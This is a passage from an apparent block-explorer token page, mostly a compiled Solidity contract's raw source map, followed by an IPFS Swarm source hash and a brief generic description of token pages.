:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:77::-;4783:7;4812:5;4801:16;;4746:77;;;:::o;4829:118::-;4916:24;4934:5;4916:24;:::i;:::-;4911:3;4904:37;4829:118;;:::o;4953:222::-;5046:4;5084:2;5073:9;5069:18;5061:26;;5097:71;5165:1;5154:9;5150:17;5141:6;5097:71;:::i;:::-;4953:222;;;;:::o;5181:329::-;5240:6;5289:2;5277:9;5268:7;5264:23;5260:32;5257:119;;;5295:79;;:::i;:::-;5257:119;5415:1;5440:53;5485:7;5476:6;5465:9;5461:22;5440:53;:::i;:::-;5430:63;;5386:117;5181:329;;;;:::o;5516:149::-;5552:7;5592:66;5585:5;5581:78;5570:89;;5516:149;;;:::o;5671:115::-;5756:23;5773:5;5756:23;:::i;:::-;5751:3;5744:36;5671:115;;:::o;5792:118::-;5879:24;5897:5;5879:24;:::i;:::-;5874:3;5867:37;5792:118;;:::o;5916:114::-;5983:6;6017:5;6011:12;6001:22;;5916:114;;;:::o;6036:184::-;6135:11;6169:6;6164:3;6157:19;6209:4;6204:3;6200:14;6185:29;;6036:184;;;;:::o;6226:132::-;6293:4;6316:3;6308:11;;6346:4;6341:3;6337:14;6329:22;;6226:132;;;:::o;6364:108::-;6441:24;6459:5;6441:24;:::i;:::-;6436:3;6429:37;6364:108;;:::o;6478:179::-;6547:10;6568:46;6610:3;6602:6;6568:46;:::i;:::-;6646:4;6641:3;6637:14;6623:28;;6478:179;;;;:::o;6663:113::-;6733:4;6765;6760:3;6756:14;6748:22;;6663:113;;;:::o;6812:732::-;6931:3;6960:54;7008:5;6960:54;:::i;:::-;7030:86;7109:6;7104:3;7030:86;:::i;:::-;7023:93;;7140:56;7190:5;7140:56;:::i;:::-;7219:7;7250:1;7235:284;7260:6;7257:1;7254:13;7235:284;;;7336:6;7330:13;7363:63;7422:3;7407:13;7363:63;:::i;:::-;7356:70;;7449:60;7502:6;7449:60;:::i;:::-;7439:70;;7295:224;7282:1;7279;7275:9;7270:14;;7235:284;;;7239:14;7535:3;7528:10;;6936:608;;;6812:732;;;;:::o;7550:1215::-;7899:4;7937:3;7926:9;7922:19;7914:27;;7951:69;8017:1;8006:9;8002:17;7993:6;7951:69;:::i;:::-;8067:9;8061:4;8057:20;8052:2;8041:9;8037:18;8030:48;8095:78;8168:4;8159:6;8095:78;:::i;:::-;8087:86;;8220:9;8214:4;8210:20;8205:2;8194:9;8190:18;8183:48;8248:78;8321:4;8312:6;8248:78;:::i;:::-;8240:86;;8336:72;8404:2;8393:9;8389:18;8380:6;8336:72;:::i;:::-;8418:73;8486:3;8475:9;8471:19;8462:6;8418:73;:::i;:::-;8501;8569:3;8558:9;8554:19;8545:6;8501:73;:::i;:::-;8622:9;8616:4;8612:20;8606:3;8595:9;8591:19;8584:49;8650:108;8753:4;8744:6;8650:108;:::i;:::-;8642:116;;7550:1215;;;;;;;;;;:::o;8771:222::-;8864:4;8902:2;8891:9;8887:18;8879:26;;8915:71;8983:1;8972:9;8968:17;8959:6;8915:71;:::i;:::-;8771:222;;;;:::o;8999:118::-;9070:22;9086:5;9070:22;:::i;:::-;9063:5;9060:33;9050:61;;9107:1;9104;9097:12;9050:61;8999:118;:::o;9123:135::-;9167:5;9205:6;9192:20;9183:29;;9221:31;9246:5;9221:31;:::i;:::-;9123:135;;;;:::o;9264:122::-;9337:24;9355:5;9337:24;:::i;:::-;9330:5;9327:35;9317:63;;9376:1;9373;9366:12;9317:63;9264:122;:::o;9392:139::-;9438:5;9476:6;9463:20;9454:29;;9492:33;9519:5;9492:33;:::i;:::-;9392:139;;;;:::o;9537:1199::-;9648:6;9656;9664;9672;9680;9688;9696;9745:3;9733:9;9724:7;9720:23;9716:33;9713:120;;;9752:79;;:::i;:::-;9713:120;9872:1;9897:53;9942:7;9933:6;9922:9;9918:22;9897:53;:::i;:::-;9887:63;;9843:117;9999:2;10025:53;10070:7;10061:6;10050:9;10046:22;10025:53;:::i;:::-;10015:63;;9970:118;10127:2;10153:53;10198:7;10189:6;10178:9;10174:22;10153:53;:::i;:::-;10143:63;;10098:118;10255:2;10281:53;10326:7;10317:6;10306:9;10302:22;10281:53;:::i;:::-;10271:63;;10226:118;10383:3;10410:51;10453:7;10444:6;10433:9;10429:22;10410:51;:::i;:::-;10400:61;;10354:117;10510:3;10537:53;10582:7;10573:6;10562:9;10558:22;10537:53;:::i;:::-;10527:63;;10481:119;10639:3;10666:53;10711:7;10702:6;10691:9;10687:22;10666:53;:::i;:::-;10656:63;;10610:119;9537:1199;;;;;;;;;;:::o;10742:474::-;10810:6;10818;10867:2;10855:9;10846:7;10842:23;10838:32;10835:119;;;10873:79;;:::i;:::-;10835:119;10993:1;11018:53;11063:7;11054:6;11043:9;11039:22;11018:53;:::i;:::-;11008:63;;10964:117;11120:2;11146:53;11191:7;11182:6;11171:9;11167:22;11146:53;:::i;:::-;11136:63;;11091:118;10742:474;;;;;:::o;11222:180::-;11270:77;11267:1;11260:88;11367:4;11364:1;11357:15;11391:4;11388:1;11381:15;11408:320;11452:6;11489:1;11483:4;11479:12;11469:22;;11536:1;11530:4;11526:12;11557:18;11547:81;;11613:4;11605:6;11601:17;11591:27;;11547:81;11675:2;11667:6;11664:14;11644:18;11641:38;11638:84;;11694:18;;:::i;:::-;11638:84;11459:269;11408:320;;;:::o;11734:180::-;11782:77;11779:1;11772:88;11879:4;11876:1;11869:15;11903:4;11900:1;11893:15;11920:191;11960:3;11979:20;11997:1;11979:20;:::i;:::-;11974:25;;12013:20;12031:1;12013:20;:::i;:::-;12008:25;;12056:1;12053;12049:9;12042:16;;12077:3;12074:1;12071:10;12068:36;;;12084:18;;:::i;:::-;12068:36;11920:191;;;;:::o;12117:180::-;12165:77;12162:1;12155:88;12262:4;12259:1;12252:15;12286:4;12283:1;12276:15;12303:224;12443:34;12439:1;12431:6;12427:14;12420:58;12512:7;12507:2;12499:6;12495:15;12488:32;12303:224;:::o;12533:366::-;12675:3;12696:67;12760:2;12755:3;12696:67;:::i;:::-;12689:74;;12772:93;12861:3;12772:93;:::i;:::-;12890:2;12885:3;12881:12;12874:19;;12533:366;;;:::o;12905:419::-;13071:4;13109:2;13098:9;13094:18;13086:26;;13158:9;13152:4;13148:20;13144:1;13133:9;13129:17;13122:47;13186:131;13312:4;13186:131;:::i;:::-;13178:139;;12905:419;;;:::o;13330:775::-;13563:4;13601:3;13590:9;13586:19;13578:27;;13615:71;13683:1;13672:9;13668:17;13659:6;13615:71;:::i;:::-;13696:72;13764:2;13753:9;13749:18;13740:6;13696:72;:::i;:::-;13778;13846:2;13835:9;13831:18;13822:6;13778:72;:::i;:::-;13860;13928:2;13917:9;13913:18;13904:6;13860:72;:::i;:::-;13942:73;14010:3;13999:9;13995:19;13986:6;13942:73;:::i;:::-;14025;14093:3;14082:9;14078:19;14069:6;14025:73;:::i;:::-;13330:775;;;;;;;;;:::o;14111:332::-;14232:4;14270:2;14259:9;14255:18;14247:26;;14283:71;14351:1;14340:9;14336:17;14327:6;14283:71;:::i;:::-;14364:72;14432:2;14421:9;14417:18;14408:6;14364:72;:::i;:::-;14111:332;;;;;:::o;14449:223::-;14589:34;14585:1;14577:6;14573:14;14566:58;14658:6;14653:2;14645:6;14641:15;14634:31;14449:223;:::o;14678:366::-;14820:3;14841:67;14905:2;14900:3;14841:67;:::i;:::-;14834:74;;14917:93;15006:3;14917:93;:::i;:::-;15035:2;15030:3;15026:12;15019:19;;14678:366;;;:::o;15050:419::-;15216:4;15254:2;15243:9;15239:18;15231:26;;15303:9;15297:4;15293:20;15289:1;15278:9;15274:17;15267:47;15331:131;15457:4;15331:131;:::i;:::-;15323:139;;15050:419;;;:::o;15475:221::-;15615:34;15611:1;15603:6;15599:14;15592:58;15684:4;15679:2;15671:6;15667:15;15660:29;15475:221;:::o;15702:366::-;15844:3;15865:67;15929:2;15924:3;15865:67;:::i;:::-;15858:74;;15941:93;16030:3;15941:93;:::i;:::-;16059:2;16054:3;16050:12;16043:19;;15702:366;;;:::o;16074:419::-;16240:4;16278:2;16267:9;16263:18;16255:26;;16327:9;16321:4;16317:20;16313:1;16302:9;16298:17;16291:47;16355:131;16481:4;16355:131;:::i;:::-;16347:139;;16074:419;;;:::o;16499:179::-;16639:31;16635:1;16627:6;16623:14;16616:55;16499:179;:::o;16684:366::-;16826:3;16847:67;16911:2;16906:3;16847:67;:::i;:::-;16840:74;;16923:93;17012:3;16923:93;:::i;:::-;17041:2;17036:3;17032:12;17025:19;;16684:366;;;:::o;17056:419::-;17222:4;17260:2;17249:9;17245:18;17237:26;;17309:9;17303:4;17299:20;17295:1;17284:9;17280:17;17273:47;17337:131;17463:4;17337:131;:::i;:::-;17329:139;;17056:419;;;:::o;17481:180::-;17529:77;17526:1;17519:88;17626:4;17623:1;17616:15;17650:4;17647:1;17640:15;17667:185;17707:1;17724:20;17742:1;17724:20;:::i;:::-;17719:25;;17758:20;17776:1;17758:20;:::i;:::-;17753:25;;17797:1;17787:35;;17802:18;;:::i;:::-;17787:35;17844:1;17841;17837:9;17832:14;;17667:185;;;;:::o;17858:194::-;17898:4;17918:20;17936:1;17918:20;:::i;:::-;17913:25;;17952:20;17970:1;17952:20;:::i;:::-;17947:25;;17996:1;17993;17989:9;17981:17;;18020:1;18014:4;18011:11;18008:37;;;18025:18;;:::i;:::-;18008:37;17858:194;;;;:::o;18058:224::-;18198:34;18194:1;18186:6;18182:14;18175:58;18267:7;18262:2;18254:6;18250:15;18243:32;18058:224;:::o;18288:366::-;18430:3;18451:67;18515:2;18510:3;18451:67;:::i;:::-;18444:74;;18527:93;18616:3;18527:93;:::i;:::-;18645:2;18640:3;18636:12;18629:19;;18288:366;;;:::o;18660:419::-;18826:4;18864:2;18853:9;18849:18;18841:26;;18913:9;18907:4;18903:20;18899:1;18888:9;18884:17;18877:47;18941:131;19067:4;18941:131;:::i;:::-;18933:139;;18660:419;;;:::o;19085:222::-;19225:34;19221:1;19213:6;19209:14;19202:58;19294:5;19289:2;19281:6;19277:15;19270:30;19085:222;:::o;19313:366::-;19455:3;19476:67;19540:2;19535:3;19476:67;:::i;:::-;19469:74;;19552:93;19641:3;19552:93;:::i;:::-;19670:2;19665:3;19661:12;19654:19;;19313:366;;;:::o;19685:419::-;19851:4;19889:2;19878:9;19874:18;19866:26;;19938:9;19932:4;19928:20;19924:1;19913:9;19909:17;19902:47;19966:131;20092:4;19966:131;:::i;:::-;19958:139;;19685:419;;;:::o;20110:225::-;20250:34;20246:1;20238:6;20234:14;20227:58;20319:8;20314:2;20306:6;20302:15;20295:33;20110:225;:::o;20341:366::-;20483:3;20504:67;20568:2;20563:3;20504:67;:::i;:::-;20497:74;;20580:93;20669:3;20580:93;:::i;:::-;20698:2;20693:3;20689:12;20682:19;;20341:366;;;:::o;20713:419::-;20879:4;20917:2;20906:9;20902:18;20894:26;;20966:9;20960:4;20956:20;20952:1;20941:9;20937:17;20930:47;20994:131;21120:4;20994:131;:::i;:::-;20986:139;;20713:419;;;:::o;21138:664::-;21343:4;21381:3;21370:9;21366:19;21358:27;;21395:71;21463:1;21452:9;21448:17;21439:6;21395:71;:::i;:::-;21476:72;21544:2;21533:9;21529:18;21520:6;21476:72;:::i;:::-;21558;21626:2;21615:9;21611:18;21602:6;21558:72;:::i;:::-;21640;21708:2;21697:9;21693:18;21684:6;21640:72;:::i;:::-;21722:73;21790:3;21779:9;21775:19;21766:6;21722:73;:::i;:::-;21138:664;;;;;;;;:::o;21808:545::-;21981:4;22019:3;22008:9;22004:19;21996:27;;22033:71;22101:1;22090:9;22086:17;22077:6;22033:71;:::i;:::-;22114:68;22178:2;22167:9;22163:18;22154:6;22114:68;:::i;:::-;22192:72;22260:2;22249:9;22245:18;22236:6;22192:72;:::i;:::-;22274;22342:2;22331:9;22327:18;22318:6;22274:72;:::i;:::-;21808:545;;;;;;;:::o;22359:180::-;22407:77;22404:1;22397:88;22504:4;22501:1;22494:15;22528:4;22525:1;22518:15

Swarm Source

ipfs://6108790caf1c928912be53a4a8a6652c2286167cd4a1acfe5b3068df239c158a

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.

Tools & Services